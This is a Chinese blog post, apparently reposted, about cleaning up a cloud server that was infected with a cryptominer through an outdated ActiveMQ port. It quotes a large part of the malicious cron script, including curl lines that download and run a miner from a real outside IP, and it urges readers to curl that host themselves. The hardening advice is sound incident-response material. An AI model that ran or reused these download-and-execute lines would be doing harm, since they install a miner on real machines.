• 服务器被植入木马,CPU飙升200%


    线上服务器用的是某云的,欢快的完美运行着Tomcat,MySQL,MongoDB,ActiveMQ等程序。突然一则噩耗从前线传来:网站不能访问了!
    此项目是我负责,我以150+的手速立即打开了服务器,看到Tomcat挂了,然后顺其自然的重启,启动过程中直接被killed,再试试数据库,同样没成功

    多次尝试甚至重启机器无果。机智的我打了个top,出现以下内容:

    640?wx_fmt=png

    这是谁运行的程序?

    怀疑是个定时任务:

    640?wx_fmt=png

    什么鬼,是个图片?立即访问了一下:

    640?wx_fmt=png

    好尴尬,但是心思细腻的我早知道没这么简单,肯定只是伪装,curl过去是下面的脚本,过程就是在挖矿:

    #!/bin/sh
    pkill -9 142.4.124.164
    pkill -9 192.99.56.117
    pkill -9 jva
    pkill -f ./atd
    pkill -f /tmp/wa/httpd.conf
    pkill -f 108.61.186.224
    pkill -f 128.199.86.57
    pkill -f 67.231.243.10
    pkill -f 142.4.124.164
    pkill -f 192.99.56.117
    pkill -f 45.76.102.45
    pkill -f AnXqV.yam
    pkill -f BI5zj
    pkill -f Carbon
    pkill -f Duck.sh
    pkill -f Guard.sh
    ...中间省略
    /sbin/sysctl -w vm.nr_hugepages=`$num`
    nohup ./suppoie -c config.json -t `echo $cores` >/dev/null &
    fi
    ps -fe|grep -w suppoie |grep -v grep
    if [ $? -eq 0 ]
    then
    pwd
    else
    curl -o /var/tmp/config.json http://192.99.142.235:8220/1.json
    curl -o /var/tmp/suppoie http://192.99.142.235:8220/rig1
    chmod 777 /var/tmp/suppoie
    cd /var/tmp
    proc=`grep -c ^processor /proc/cpuinfo`
    cores=$((($proc+1)/2))
    num=$(($cores*3))
    /sbin/sysctl -w vm.nr_hugepages=`$num`
    nohup ./suppoie -c config.json -t `echo $cores` >/dev/null &
    sleep 3
    fi
    if [ $? -eq 0 ]
    then
    pwd
    else
    curl -o /var/tmp/config.json http://192.99.142.235:8220/1.json
    curl -o /var/tmp/suppoie http://192.99.142.235:8220/rig2
    chmod 777 /var/tmp/suppoie
    cd /var/tmp
    proc=`grep -c ^processor /proc/cpuinfo`
    cores=$((($proc+1)/2))
    num=$(($cores*3))
    /sbin/sysctl -w vm.nr_hugepages=`$num`
    nohup ./suppoie -c config.json -t `echo $cores` >/dev/null &
    fi
    echo "runing....."

    有兴趣的同学想查看以上完整源代码,命令行运行下面指令(不分操作系统,方便安全无污染):

    curl 192.99.142.235:8220/logo3.jpg

    既然知道它是个定时任务,那就先取消了它,并且看看它是谁在运行:

    640?wx_fmt=png

    杀掉,找到存放目录:

    640?wx_fmt=png

    进入临时目录:

    640?wx_fmt=png

    被我发现配置文件了,先来看看内容:

    640?wx_fmt=png

    虎躯一震,发现了不少信息啊!

    user是他的server的登录用户,下面是密码,只可惜加密过,应该找不到对方。算了,大度的我先不和你计较。

    干掉这两个文件后再查看top:

    640?wx_fmt=png

    解决办法

    找到寄生的目录,一般都会在tmp里,我这个是在/var/tmp/。首先把crontab干掉,杀掉进程,再删除产生的文件。启动Tomcat等程序,大功告成!

    等等,这远远不够,考虑到能被拿去挖矿的前提下你的服务器都已经被黑客入侵了,修复漏洞才对

    不然你杀掉进程删掉文件后,黑客后门进来history一敲,都知道你做了啥修复手段。

    所以上面办法治标不治本,我后续做了以下工作:

    1. 把所有软件升级到新版本

    2. 修改所有软件默认端口号

    3. 打开ssh/authorized_keys, 删除不认识的密钥

    4. 删除用户列表中陌生的帐号

    5. 封了他的ip

    6. SSH使用密钥登录并禁止口令登录(这个一般是加运维一个人的秘钥)

    对了,本次遭受攻击是低版本ActiveMP开放端口61616有漏洞,大家记得做优化。

    滔哥给提供了最好的方式:将主机镜像、找出病毒木马、分析入侵原因、检查业务程序、重装系统、修复漏洞、再重新部署系统。

    写在最后

    网友提供的一劳永逸终极解决办法:把你自己的挖矿脚本挂上去运行,这样别人就算挂脚本也跑不起来了。

    作者:我叫刘半仙

    https://my.oschina.net/liughDevelop/blog/1786631

    - END -
    推荐阅读:

    关注Java技术栈公众号在后台回复:Java,可获取一份栈长整理的最新 Java 技术干货。

    640

    点击「阅读原文」和栈长学更多~

  • 相关阅读:
    面试问烂的 MySQL 四种隔离级别,看完吊打面试官!
    注解Annotation实现原理与自定义注解例子
    趣图:苦逼的后端工程师
    session深入探讨
    趣图:听说996工作可以获得巨大成长
    面试官:一个 TCP 连接可以发多少个 HTTP 请求?
    聊聊前后端分离接口规范
    趣图:什么?需求文档又改了
    ASP.NET页面中去除VIEWSTATE视
    C#
  • 原文地址:https://www.cnblogs.com/java-stack/p/11952003.html
Copyright © 2020-2023  润新知